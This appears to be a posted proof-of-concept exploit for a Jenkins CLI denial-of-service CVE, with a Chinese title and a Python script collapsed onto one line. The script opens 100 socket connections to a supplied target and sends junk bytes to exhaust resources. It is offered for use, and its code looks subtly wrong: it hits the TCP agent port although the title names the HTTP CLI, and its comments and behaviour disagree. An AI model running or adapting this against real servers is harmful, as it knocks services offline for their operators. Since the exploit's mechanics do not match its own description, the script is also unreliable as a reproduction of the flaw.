CVE-2025-67635 Jenkins HTTP CLI连接未正确关闭导致拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-67635 PoC - Jenkins CLI Connection DoS This PoC demonstrates the denial of service vulnerability in Jenkins CLI. """ import socket import time def exploit_jenkins_cli_dos(target_ip, target_port=50000): """ Exploit Jenkins CLI connection stream corruption leading to resource exhaustion. """ try: # Create multiple connections with corrupted data connections = [] for i in range(100): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Send corrupted/incomplete CLI protocol data # This mimics a malformed CLI handshake corrupted_data = b'\x00\x01\x02\x03\x04\xff\xfe\xfd' sock.send(corrupted_data) # Close connection abruptly without proper termination # This leaves server-side resources in corrupted state connections.append(sock) except Exception as e: print(f'Connection {i} failed: {e}') print(f'[*] Sent {len(connections)} corrupted CLI connections') print('[*] Target may have resource exhaustion. Check Jenkins availability.') # Cleanup for sock in connections: try: sock.close() except: pass except Exception as e: print(f'[-] Exploit failed: {e}') if __name__ == '__main__': import sys if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 50000 exploit_jenkins_cli_dos(target, port)